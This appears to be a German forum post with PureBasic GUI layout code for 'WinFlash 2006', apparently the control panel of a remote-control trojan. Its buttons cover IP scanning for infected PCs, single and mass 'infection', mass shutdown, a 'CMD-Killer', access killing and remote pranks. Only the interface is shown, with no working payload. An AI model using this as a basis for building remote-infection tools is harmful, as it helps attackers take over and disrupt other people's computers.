Danke im Voraus


Code: Alles auswählen
; PureBasic Visual Designer v3.95 build 1485 (PB4Code)
;- Window Constants
;
Enumeration
#String_16
EndEnumeration
;- Gadget Constants
;
Enumeration
#Hyperlink_0
#STATUSIPSCAN
#IPADDRESSEN_E
#IPADDRESSSCAN_E
#MAXIP
#CONNECTTO_F
#IPSCANNER_F
#ADVERTISEHEAD
#FUNNYSTUFF
#EXTRAS
#STARTEXE
#HTTP
#COPY2CLIP
#ADVERT
#Frame3D_9
#Frame3D_10
#Frame3D_11
#MASSIVESHUTDOWN
#MASSIVECMD
#T
#TRUETEXT
#F
#FALSETEXT
#INFECTED_T
#IMAGE_1
#CONNECT_B
#SCANIPS_B
#OPENCD
#MONITORON
#SHOWSTART
#SHOWCLOCK
#SHOWTASK
#SHUTDOWN
#SCRIPT
#KILLACCESS
#ERRORM
#SSAVERON
#CLOSECD
#MONITOROFF
#HIDESTART
#HIDECLOCK
#HIDETASK
#RESTART
#SELFPING
#FLIPMOUSE
#EXPLORE
#SSAVEROFF
#SENDSTARTEXE
#SENDHTTP
#SENDCOPY2CLIP
#SINGLEINFECT
#MASSIVEINFECT
#MSHUTDOWN
#MCMDKILLER
#CD_STAT
#MONITOR_STAT
#START_STAT
#CLOCK_STAT
#TASK_STAT
#STAT_STAT
#SP_STAT
#AM_STAT
#EE_STAT
#SSAVER_STAT
#STARTEXEEINGABE
#HTTPEINGABE
#COPY2CLIPEINGABE
#MINFECTIONIPMAX
#MSHUTMAX
#MCMDMAX
#MIRadio_3
#MIRadio_4
#MSRadio_5
#MSRadio_7
#MCRadio_9
#MCRadio_11
#SINFECTIONIPADDRESS
#MINFECTIONIPADDRESS
#MSHUTDOWNIPADDRESS
#MCMDIPADDRESS
#AllPCsinIPList1
#AllPCsinIPList2
#AllPCsinIPList3
EndEnumeration
;- StatusBar Constants
;
Enumeration
#StatusBar_0
EndEnumeration
;- Image Plugins
UseJPEGImageDecoder()
;- Image Globals
Global Image0
;- Catch Images
Image0 = CatchImage(0, ?Image0)
;- Images
DataSection
Image0:
IncludeBinary "C:\Dokumente und Einstellungen\AMD-1uck3r\Desktop\1uck3r´s World\Programming\WinFlash2006\JPG\logo.jpg"
EndDataSection
Procedure Open_String_16()
If OpenWindow(#String_16, 288, 169, 571, 625, "", #PB_Window_SystemMenu | #PB_Window_SizeGadget | #PB_Window_TitleBar | #PB_Window_ScreenCentered )
If CreateStatusBar(#StatusBar_0, WindowID(#String_16))
EndIf
If CreateGadgetList(WindowID(#String_16))
HyperLinkGadget(#Hyperlink_0, 60, 560, 160, 20, "www.WinFlash-Prodctions.de.vu", RGB(0, 0, 0))
ProgressBarGadget(#STATUSIPSCAN, 160, 140, 80, 10, 0, 10)
ComboBoxGadget(#IPADDRESSEN_E, 20, 30, 140, 20, #PB_ComboBox_UpperCase)
IPAddressGadget(#IPADDRESSSCAN_E, 30, 80, 140, 20)
StringGadget(#MAXIP, 180, 80, 60, 20, "")
Frame3DGadget(#CONNECTTO_F, 10, 10, 250, 160, "Connect to IP")
Frame3DGadget(#IPSCANNER_F, 20, 60, 230, 100, "IP Scanner")
Frame3DGadget(#ADVERTISEHEAD, 270, 10, 290, 80, "WinFlash 2006")
Frame3DGadget(#FUNNYSTUFF, 270, 100, 290, 330, "Funny Stuff")
Frame3DGadget(#EXTRAS, 10, 180, 250, 420, "Extras")
Frame3DGadget(#STARTEXE, 20, 200, 230, 50, "Start - EXE")
Frame3DGadget(#HTTP, 20, 260, 230, 50, "Open http:// Address")
Frame3DGadget(#COPY2CLIP, 20, 320, 230, 50, "Copy 2 Clipboard")
Frame3DGadget(#ADVERT, 20, 550, 230, 40, "")
Frame3DGadget(#Frame3D_9, 270, 440, 290, 160, "Infection Area")
Frame3DGadget(#Frame3D_10, 280, 460, 270, 50, "Single Infection")
Frame3DGadget(#Frame3D_11, 280, 520, 270, 70, "Massive Infection")
Frame3DGadget(#MASSIVESHUTDOWN, 20, 380, 230, 80, "Massive Shutdown")
Frame3DGadget(#MASSIVECMD, 20, 470, 230, 80, "Massive CMD-Killer")
OptionGadget(#T, 30, 130, 20, 20, "")
TextGadget(#TRUETEXT, 50, 130, 30, 20, "Yes", #PB_Text_Center)
OptionGadget(#F, 100, 130, 20, 20, "")
TextGadget(#FALSETEXT, 120, 130, 30, 20, "No", #PB_Text_Center)
TextGadget(#INFECTED_T, 30, 110, 120, 20, "Scan for Infected PC`s ?")
ImageGadget(#IMAGE_1, 280, 30, 270, 50, Image0, #PB_Image_Border)
ButtonGadget(#CONNECT_B, 170, 30, 80, 20, "Connect")
ButtonGadget(#SCANIPS_B, 180, 110, 60, 20, "Scan IP´s")
ButtonGadget(#OPENCD, 290, 120, 80, 20, "Open CD")
ButtonGadget(#MONITORON, 290, 150, 80, 20, "Monitor On")
ButtonGadget(#SHOWSTART, 290, 180, 80, 20, "Show Startb.")
ButtonGadget(#SHOWCLOCK, 290, 210, 80, 20, "Show Clock")
ButtonGadget(#SHOWTASK, 290, 240, 80, 20, "Show Taskbar")
ButtonGadget(#SHUTDOWN, 290, 270, 80, 20, "Shutdown")
ButtonGadget(#SCRIPT, 290, 300, 80, 20, "Script")
ButtonGadget(#KILLACCESS, 290, 330, 80, 20, "Kill Access")
ButtonGadget(#ERRORM, 290, 360, 80, 20, "Error Message")
ButtonGadget(#SSAVERON, 290, 390, 80, 20, "Screens. On")
ButtonGadget(#CLOSECD, 400, 120, 80, 20, "Close CD")
ButtonGadget(#MONITOROFF, 400, 150, 80, 20, "Monitor Off")
ButtonGadget(#HIDESTART, 400, 180, 80, 20, "Hide Startb.")
ButtonGadget(#HIDECLOCK, 400, 210, 80, 20, "Hide Clock")
ButtonGadget(#HIDETASK, 400, 240, 80, 20, "Hide Taskbar")
ButtonGadget(#RESTART, 400, 270, 80, 20, "Restart")
ButtonGadget(#SELFPING, 400, 300, 80, 20, "Self-Ping")
ButtonGadget(#FLIPMOUSE, 400, 330, 80, 20, "Flip Mouse")
ButtonGadget(#EXPLORE, 400, 360, 80, 20, "Explore the PC")
ButtonGadget(#SSAVEROFF, 400, 390, 80, 20, "Screens. Off")
ButtonGadget(#SENDSTARTEXE, 160, 220, 80, 20, "Send")
ButtonGadget(#SENDHTTP, 190, 280, 50, 20, "Send")
ButtonGadget(#SENDCOPY2CLIP, 190, 340, 50, 20, "Send")
ButtonGadget(#SINGLEINFECT, 470, 480, 70, 20, "Infect")
ButtonGadget(#MASSIVEINFECT, 470, 530, 70, 20, "Infect")
ButtonGadget(#MSHUTDOWN, 150, 400, 90, 20, "Shutdown")
ButtonGadget(#MCMDKILLER, 150, 490, 90, 20, "Start CMD-Killer")
StringGadget(#CD_STAT, 490, 120, 60, 20, "")
StringGadget(#MONITOR_STAT, 490, 150, 60, 20, "")
StringGadget(#START_STAT, 490, 180, 60, 20, "")
StringGadget(#CLOCK_STAT, 490, 210, 60, 20, "")
StringGadget(#TASK_STAT, 490, 240, 60, 20, "")
StringGadget(#STAT_STAT, 490, 270, 60, 20, "")
StringGadget(#SP_STAT, 490, 300, 60, 20, "")
StringGadget(#AM_STAT, 490, 330, 60, 20, "")
StringGadget(#EE_STAT, 490, 360, 60, 20, "")
StringGadget(#SSAVER_STAT, 490, 390, 60, 20, "")
StringGadget(#STARTEXEEINGABE, 30, 220, 120, 20, "")
StringGadget(#HTTPEINGABE, 30, 280, 150, 20, "www.google.de")
StringGadget(#COPY2CLIPEINGABE, 30, 340, 150, 20, "")
StringGadget(#MINFECTIONIPMAX, 480, 560, 60, 20, "")
StringGadget(#MSHUTMAX, 190, 430, 50, 20, "")
StringGadget(#MCMDMAX, 190, 520, 50, 20, "")
OptionGadget(#MIRadio_3, 290, 540, 20, 20, "")
OptionGadget(#MIRadio_4, 290, 560, 20, 20, "")
OptionGadget(#MSRadio_5, 30, 400, 20, 20, "")
OptionGadget(#MSRadio_7, 30, 430, 20, 20, "")
OptionGadget(#MCRadio_9, 30, 490, 20, 20, "")
OptionGadget(#MCRadio_11, 30, 520, 20, 20, "")
IPAddressGadget(#SINFECTIONIPADDRESS, 290, 480, 160, 20)
IPAddressGadget(#MINFECTIONIPADDRESS, 310, 560, 140, 20)
IPAddressGadget(#MSHUTDOWNIPADDRESS, 50, 430, 130, 20)
IPAddressGadget(#MCMDIPADDRESS, 50, 520, 130, 20)
TextGadget(#AllPCsinIPList1, 50, 400, 90, 20, "All PC´s in IP List?")
TextGadget(#AllPCsinIPList2, 50, 490, 90, 20, "All PC´s in IP List?")
TextGadget(#AllPCsinIPList3, 310, 540, 90, 20, "All PC´s in IP List?")
EndIf
EndIf
EndProcedure